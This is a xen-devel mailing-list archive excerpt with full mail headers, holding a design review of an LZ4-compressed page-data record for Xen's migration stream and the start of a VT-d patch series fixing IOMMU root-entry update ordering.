	=?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-ebf023/1785316457-508D9B50-91B1C056/0/0
X-purgate-type: clean
X-purgate-size: 9987

On Wed, 22 Jul 2026 at 22:30, Teddy Astie <teddy.astie@vates.tech> wrote:
>
> Le 22/07/2026 =C3=A0 21:46, Frediano Ziglio a =C3=A9crit :
> > On Tue, 21 Jul 2026 at 09:20, Teddy Astie <teddy.astie@vates.tech> wrot=
e:
> >>
> >> Le 20/07/2026 =C3=A0 17:51, Marcus Granado a =C3=A9crit :
> >>> Allocate a new migration stream record type REC_TYPE_PAGE_DATA_LZ4
> >>> (0x00000013) to transmit PAGE_DATA when payload is LZ4-compressed. Th=
e
> >>> record use the same xc_sr_rec_page_data_header as REC_TYPE_PAGE_DATA
> >>> but the page data section type changes from page_data to data_lz4.
> >>>
> >>> Signed-off-by: Marcus Granado <marcus.granado@citrix.com>
> >>> ---
> >>>    docs/specs/libxc-migration-stream.pandoc | 71 ++++++++++++++++-
> >>>    tools/libs/guest/xg_sr_common.c          |  4 +
> >>>    tools/libs/guest/xg_sr_stream_format.h   | 13 ++++
> >>>    tools/python/xen/migration/libxc.py      | 90 ++++++++++++++++++++=
-
> >>>    tools/python/xen/migration/tests.py      | 99 ++++++++++++++++++++=
+++-
> >>>    5 files changed, 271 insertions(+), 6 deletions(-)
> >>>
> >>> diff --git a/docs/specs/libxc-migration-stream.pandoc b/docs/specs/li=
bxc-migration-stream.pandoc
> >>> index 1319ce1f1e..7469c95139 100644
> >>> --- a/docs/specs/libxc-migration-stream.pandoc
> >>> +++ b/docs/specs/libxc-migration-stream.pandoc
> >>
> >> ...
> >
> > Don't we need to bump the version number while we add a new mandatory r=
ecord?
> > Is there no kind of dialog about the supported version?
> >
> >>
> >>> +PAGE_DATA_LZ4
> >>> +-------------
> >>> +
> >>> +A PAGE_DATA_LZ4 record carries exactly the same information as a
> >>> +PAGE_DATA record, but with the page contents LZ4-compressed.  The sa=
ver
> >>> +may emit it in place of a PAGE_DATA record when LZ4 compression has =
been
> >>> +requested.
> >>> +
> >>
> >> Would it be preferable to make this structure more generic, i.e
> >> PAGE_DATA_COMPRESSED, as I'm not sure it's wise to restrict to only LZ=
4
> >> (someone may want to add support for e.g zstd or another algorithm
> >> without having to change the format) ?
> >>
> >
> > Why not extending the generalization compressing all payload of
> > uncompressed packets (type+body), so to have something like
> >
> > - LZ4 compressed type (uint32)
> > - compressed length (uint32)
> > - compressed data (array of bytes, length field above)
> >    Uncompressed data will contain
> >    - type (uint32, like PAGE_DATA)
> >    - body (array of bytes, not padded)
> > - padding to 8 bytes with zeroes
> >
> > So we could compress any packet, not only PAGE_DATA.
> > Yes, to support more compression types an additional
> > "compression_type" or similar field could help. But what about
> > additional possible options?
> >
>
> (you should probably also add uncompressed size, so that decompressors
> can guard against decompression bomb blocks)
>

Yes, apparently that field disappeared between thinking and writing the rep=
ly.
It's also useful for different purposes like preallocating.

> In principle, it's preferable as it decouple the compression aspect to
> the data itself. But it needs a quite significant refactoring to add a
> middle layer that "transparently" compress/decompress data to the lower
> layer that perform live migration logic and parse/generate the page_data
> object.
>

A similar change was done (not by me) in another project I worked on previo=
usly.
I thought it was more complicated too but it turned out the change was
pretty clean, not requiring much.
More or less during the process of the package you decompress the
package and call the process again on the decompressed package.
Similar for the sending side.

> >>> +     0     1     2     3     4     5     6     7 octet
> >>> +    +-----------------------+-------------------------+
> >>> +    | count (C)             | (reserved)              |
> >>> +    +-----------------------+-------------------------+
> >>> +    | pfn[0]                                          |
> >>> +    +-------------------------------------------------+
> >>> +    ...
> >>> +    +-------------------------------------------------+
> >>> +    | pfn[C-1]                                        |
> >>> +    +-----------+-------------------------------------+
> >>> +    | clen[0]   | page_data_lz4[0]...                 |
> >>> +    +-----------+-------------------------------------+
> >>> +    ...
> >>> +    +-----------+-------------------------------------+
> >>> +    | clen[N-1] | page_data_lz4[N-1]...               |
> >>> +    ...
> >>> +    +-------------------------------------------------+
> >>> +
> >>> +--------------------------------------------------------------------
> >>> +Field       Description
> >>> +----------- --------------------------------------------------------
> >>> +count       Number of pages described in this record.
> >>> +
> >>> +pfn         An array of count PFNs and their types, with the same
> >>> +            layout and page types as in a PAGE_DATA record.
> >>> +
> >>> +data_lz4    The compressed page contents, as one sub-block per page
> >>> +            set as present in the pfn array, in pfn-array order (i.e=
.
> >>> +            N sub-blocks, with N as in a PAGE_DATA record: N <=3D C)=
.
> >>> +            Each sub-block is a `uint16` little-endian length `clen`
> >>> +            followed by either an LZ4 block or a raw page.  When
> >>> +            `clen > 0`, page_data_lz4 is `clen` octets of a raw LZ4
> >>> +            block (per the LZ4 block format) whose decompressed outp=
ut
> >>> +            is one page_size page.  When `clen =3D=3D 0`, page_data_=
lz4 is
> >>> +            page_size octets of a raw, uncompressed page.
> >>> +            A compressed `clen` is at most page_size - 1, occupying
> >>> +            only the low 12 bits; the top 4 bits are reserved for
> >>> +            future use and must be 0.
> >>> +--------------------------------------------------------------------
> >>> +
> >>> +The `count` (C) and `pfn` fields are identical in meaning and
> >>> +constraints to those of a PAGE_DATA record, and N (the number of
> >>> +present pages, N <=3D C) is as defined there.  Unlike PAGE_DATA, a
> >>> +PAGE_DATA_LZ4 record always has N >=3D 1 (at least one sub-block):
> >>> +the saver emits the LZ4 variant only when there is page data to
> >>> +compress, and a restoring side rejects a PAGE_DATA_LZ4 record with
> >>> +N =3D=3D 0.  When a batch has no present pages (all pfns of invalid
> >>> +types) the saver emits a plain PAGE_DATA record instead.
> >>> +
> >>> +PAGE_DATA_LZ4 is a _mandatory_ record: a restoring side that does no=
t
> >>> +support it must fail the migration.
> >>> +
> >>
> >> The inline clen at the beginning of page_data_lz4 feels a bit odd to m=
e,
> >> or at least, a bit inconsistent with how pfns are arranged. I think
> >> something like i.e
> >>
> >> 1. count and (reserved)
> >> 2. pfn[0] ... pfn[C-1]
> >> 3. clen[0] ... clen[N-1]
> >> 4. page_data_lz4[0] ... page_data_lz4[N-1]
> >>
> >> would be better.
> >>
> >> Though, aside that, I'm not sure having separate compressed block for
> >> each page is a good idea. Compression is more efficient when processin=
g
> >> larger blocks, LZ4 documents a 64 KB deduplication window (of the past
> >> bytes) [1].
> >>
> >> In my opinion, it may be preferable to have one large block with all t=
he
> >> page datas (covering up to MAX_BATCH_SIZE=3D1024 pages) rather than ha=
ving
> >> to uncompress individual blocks. Which in the end would remove the nee=
d
> >> to have individual clen[n].
> >>
> >
> > I was thinking the same. Talking with the author today one reason is
> > that bytes could change while compressing them (because they are
> > shared with the guest which is running) but on following updates
> > (dirty pages map is used) they get updated and fixed (otherwise VM
> > will crash).
>
> Oh, well, that's (unfortunately) actually worse; while running
> compression logic to live pages can cause data corruption of the end
> result, this also causes undefined behavior through the compiler (data
> race as compiler doesn't expect the pointer content to be modified from
> elsewhere concurrently).
>
> We probably need to copy the memory here to stay safe.
> Something that could be addressed with xg_foreignmemory_copy_* proposal.
>
> > However we could copy the memory to avoid this. Considering the
> > algorithm (in this case) has a window of 64 K we could compress and
> > copy in 64 K chunks to reduce memory usage and increase cache (as
> > processor one) usage (if that's an issue).
> >
> That could be considered, but it would make things a bit more
> complicated to define. I found that along LZ4, there is also LZ4F [1]
> which can be useful to make it streamable or chunkable in a quite
> standardized way. Otherwise, we would have to add some arbitrary framing
> each 32 KB blocks, so it will no longer be simply a LZ4 block.
>
> But that may be too much for just chunking a 4 MB (maximum) block so I'm
> not really certain of what's best actually.
>
> [1] https://github.com/lz4/lz4/blob/dev/doc/lz4_Frame_format.md
>

About compressing all together and considering also the issue of
memory changing while sending I would vote to copy the memory in a
temporary buffer to avoid this. One advantage is that it simplified
the format. The current LZ4 implementation seems to cope with data
changes but nothing guarantees it in the future, the buffer you are
passing is not supposed to change while you compress it.

> >> What do you think ?
> >>
> >> [1]
> >> https://github.com/lz4/lz4/blob/dev/doc/lz4_Block_format.md#compressio=
n-techniques
> >> ...
> >>
> >>>
> >>> base-commit: a7fd7d4cbd5e793d31d61c25e08526b330edd7f8
> >>
> >> Teddy
> >
> > Frediano
> >
>
> Teddy


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:01:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:01:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375394.1622547 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp15i-0004I2-Hp; Wed, 29 Jul 2026 10:00:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375394.1622547; Wed, 29 Jul 2026 10:00:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp15i-0004Hv-FC; Wed, 29 Jul 2026 10:00:46 +0000
Received: by outflank-mailman (input) for mailman id 1375394;
 Wed, 29 Jul 2026 10:00:45 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@swg.vates.tech>)
 id 1wp15g-0004Hn-SH
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:00:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp15e-0078Xn-RU
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:00:42 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@swg.vates.tech>)
 id 6a69cf47-5cb7-0a2a0a5109dd-0a2a45029cb6-0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:00:39 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@swg.vates.tech>)
 id 6a69cf47-6ca4-0a2a45020019-b9ff1c23833f-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:00:39 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fad51a4be000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 10:00:36 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 07185832EE;
 Wed, 29 Jul 2026 12:00:32 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=O11NltHSfcI8sQnwgKyFoWUyCAF70PHUYiJe/o4K/no=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=SCCT+QBn/DrJsZSrjqk1qjAcWFuclXHNCdGp61T9u70jA99yrdQubnd/2y8IMhmfVK3jQsCOs
 liHk/cgdA0OegD0oG6I5R6CALk0v0UsWT+mxtUdzJZXocGL8Fm79hBta97CHTyZ/egaz88PiuRV
 huOk7q+HwWwahRlwJ8PIOQc8BvGSQLfPdc4YohkCbtVIAVWgf1425nh5GgwJExcFSNrXJRyiyZF
 Podw2dbnB4AV0VxIgIGXvHT1V2ke4TRDPBfc56xaXqJSwaCwF8SAiSv7vTh1lQjnwe/jeKjgXK/
 U3GldD9y4ddGKh77ySJLx3rfPnjQx7Bll6jRekPPGldg==
X-Zone-Loop: d652f5f009a5a4c2bc19ae79119898ac2cd2f128ab0a
x-campaign-type: default
x-transaction-id: 1d30ced3-8500-437c-9d8c-c1712c6ce556
x-swg-uid: 01-eab46b4d-7804-40d8-a54e-cf32ad9e552f
X-Mailer: Sweego
Message-ID:
 <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
x-swg-bid: 1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH 0/5] Misc VT-d changes
Date: Wed, 29 Jul 2026 11:59:42 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.165c.edaf8452c0df9be8.19fad5192a9.295bae906c642e63=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785319232170
X-purgate-ID: tlsNG-720697/1785319239-30BC02AC-7E16310A/0/0
X-purgate-type: clean
X-purgate-size: 1723

---=Part.165c.edaf8452c0df9be8.19fad5192a9.295bae906c642e63=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

A small series of misc VT-d changes=2E

The first two sound like a potential security issue (compiler-related),
but not occuring in practice (discussed in security mailing list and
asked to be sent to public)=2E

The 3rd one displays from which IOMMU orginated a fault to help debugging=
=2E

The 4th one is a bugfix for machines with unhandled SAGAW (e=2Eg 5-level
pagetable support) to avoid "disabling passthrough" while we were errorneo=
usly
disabling the ability to configure Dom0 devices in "passthrough mode"=2E

Last patch moves the intremap table to xenheap to simplify the logic to ac=
cess
the entries and make it less error-prone=2E

No intended functionnal changes=2E

CI: https://gitlab=2Ecom/xen-project/people/tsnake41/xen/-/pipelines/27148=
30581

Teddy Astie (5):
  vtd: Ensure root entry is updated consistently
  vtd: Ensure context entry is cleared properly
  vtd: Print originating iommu on faults
  vtd: Don't disable hwdom passthrough on unhandled SAGAW bits
  vtd: Move intremap table to xenheap

 xen/drivers/passthrough/vtd/intremap=2Ec | 61 +++++++++-----------------
 xen/drivers/passthrough/vtd/iommu=2Ec    | 38 ++++++++--------
 xen/drivers/passthrough/vtd/iommu=2Eh    | 16 +------
 xen/drivers/passthrough/vtd/utils=2Ec    | 22 +++-------
 4 files changed, 45 insertions(+), 92 deletions(-)

--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.165c.edaf8452c0df9be8.19fad5192a9.295bae906c642e63=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:02:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:02:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375401.1622555 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17F-0004lC-SG; Wed, 29 Jul 2026 10:02:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375401.1622555; Wed, 29 Jul 2026 10:02:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17F-0004l5-Pl; Wed, 29 Jul 2026 10:02:21 +0000
Received: by outflank-mailman (input) for mailman id 1375401;
 Wed, 29 Jul 2026 10:02:20 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad532fb2000e099@swg.vates.tech>)
 id 1wp17E-0004jj-CZ
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:02:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp17D-007PuO-IN
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:02:19 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad532fb2000e099@swg.vates.tech>)
 id 6a69cfa6-e002-0a2a0a5209dd-0a2a4501e8ec-36
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:19 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad532fb2000e099@swg.vates.tech>)
 id 6a69cfab-5984-0a2a45010019-b9ff1c1297ef-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:19 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fad532fb2000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 10:02:17 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 5944483243;
 Wed, 29 Jul 2026 12:02:13 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=6iTesjhW2f53P1OKO+SWMzCd/+1OxQCvrUH72nqgYRs=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=DNwngkk8Xr0SBWXjleDY6GEtXCPCJzsgcI4greru5gGuLx5gIq6HyWXLS+jzuDgHAgxnTgQhE
 FOSKup4Q+yqcFhMcVX8jex9/FGPFpe+8gao2FKwnnwfVxJSIQeMSU21RsUefDK2MM+wCKvAkacq
 EFPO+wzMftShIqfTFg+VQik/O3s85dIO+f/1iOGoBiYFX2ztmbaMkyGBHSMlNyDQCgOKIWRetep
 vQ5NmeCCLdYx7V2bAcmQ0Vg8v8Z40vALvN4vhx4ovOWHbKlmvlcsbUguK3PdvYjjwX2pj8VA6Ql
 pB2ECxY3++Kv1O/yE1gMhUM4ROP50QCzId3eZq6/Ee1A==
X-Zone-Loop: 02fa034c7c890c228b943f4bf0f05a0a548058f06a4e
x-campaign-type: default
x-transaction-id: 6a9bcb72-d3ed-4857-a891-1bcdc64f17e6
x-swg-uid: 01-4a3450bf-465a-438e-af10-69f445d41451
X-Mailer: Sweego
Message-ID:
 <1785319337.8631fc262581453bbf619ec5b2062170.19fad532fb2000e099@vates.tech>
x-swg-bid: 1785319337.8631fc262581453bbf619ec5b2062170.19fad532fb2000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH 1/5] vtd: Ensure root entry is updated consistently
Date: Wed, 29 Jul 2026 11:59:43 +0200
In-Reply-To: <cover.1785316552.git.teddy.astie@vates.tech>
References: <cover.1785316552.git.teddy.astie@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.165d.daca0a7cecdffe8.19fad531e7f.6717db81b3fe671a=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785319333504
X-purgate-ID: tlsNG-d62444/1785319339-1F262757-862A6B68/0/0
X-purgate-type: clean
X-purgate-size: 2624

---=Part.165d.daca0a7cecdffe8.19fad531e7f.6717db81b3fe671a=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Make sure the root entry is updated consistently such that the compiler
is not allowed to perform optimizations around setting present bit (and
i=2Ee set present bit before setting up the pagetable addresss, which woul=
d
cause the IOMMU to use a pagetable at address 0 instead)=2E

This issue can only occurs at boot time where present bit is initially cle=
ared
or when a bus is first introduced in the machine=2E

Fixes: ccfe4e08455f ("Intel vt-d specific changes in arch/x86/hvm/vmx/vtd=
=2E")
Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/drivers/passthrough/vtd/iommu=2Ec | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/iommu=2Ec b/xen/drivers/passthrou=
gh/vtd/iommu=2Ec
index 3d6f787b3c=2E=2Ec314ce1db8 100644
--- a/xen/drivers/passthrough/vtd/iommu=2Ec
+++ b/xen/drivers/passthrough/vtd/iommu=2Ec
@@ -281,13 +281,13 @@ void free_pgtable_maddr(u64 maddr)
 /* context entry handling */
 static u64 bus_to_context_maddr(struct vtd_iommu *iommu, u8 bus)
 {
-    struct root_entry *root, *root_entries;
+    struct root_entry root, *root_entries;
     u64 maddr;
=20
     ASSERT(spin_is_locked(&iommu->lock));
     root_entries =3D (struct root_entry *)map_vtd_domain_page(iommu->root=
_maddr);
-    root =3D &root_entries[bus];
-    if ( !root_present(*root) )
+    root=2Eval =3D ACCESS_ONCE(root_entries[bus]=2Eval);
+    if ( !root_present(root) )
     {
         maddr =3D alloc_pgtable_maddr(1, iommu->node);
         if ( maddr =3D=3D 0 )
@@ -295,11 +295,12 @@ static u64 bus_to_context_maddr(struct vtd_iommu *io=
mmu, u8 bus)
             unmap_vtd_domain_page(root_entries);
             return 0;
         }
-        set_root_value(*root, maddr);
-        set_root_present(*root);
-        iommu_sync_cache(root, sizeof(struct root_entry));
+        set_root_value(root, maddr);
+        set_root_present(root);
+        ACCESS_ONCE(root_entries[bus]=2Eval) =3D root=2Eval;
+        iommu_sync_cache(&root_entries[bus], sizeof(struct root_entry));
     }
-    maddr =3D (u64) get_context_addr(*root);
+    maddr =3D (u64) get_context_addr(root);
     unmap_vtd_domain_page(root_entries);
     return maddr;
 }
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.165d.daca0a7cecdffe8.19fad531e7f.6717db81b3fe671a=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:02:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:02:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375402.1622565 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17L-0004zt-3e; Wed, 29 Jul 2026 10:02:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375402.1622565; Wed, 29 Jul 2026 10:02:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17L-0004zm-0z; Wed, 29 Jul 2026 10:02:27 +0000
Received: by outflank-mailman (input) for mailman id 1375402;
 Wed, 29 Jul 2026 10:02:25 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad533bfc000e099@swg.vates.tech>)
 id 1wp17J-0004yz-HZ
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:02:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp17I-007PyJ-UP
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:02:24 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad533bfc000e099@swg.vates.tech>)
 id 6a69cfa2-e002-0a2a0a5209dd-0a2a4508a58a-48
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:24 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad533bfc000e099@swg.vates.tech>)
 id 6a69cfb0-f659-0a2a45080019-b9ff1c2294b1-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:24 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fad533bfc000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 10:02:21 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 837408312C;
 Wed, 29 Jul 2026 12:02:18 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=L72Xz6FWuOgwpG8TgAcFqY54LAvujFyro31yPfEgagc=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=dcAD6OC4MKbYLDwX/63dROolu9Z+32//6JOqQaI1iIsogL28rGyEphz5q9+hVkoFLAKrO/6Jx
 sHo205YywLkYBMZqi4knZ1YqObsxZscqfJhJebF6O2HVfelIKMXr7x9ptBL21TWl5kpYtvrFpxG
 8mfL0HbTgvPr9XdAcDnqir8KzL+ExB4hGP+tify3+3OrAi+AK+asJc1QIHr6cvx6Nukt28dhkCh
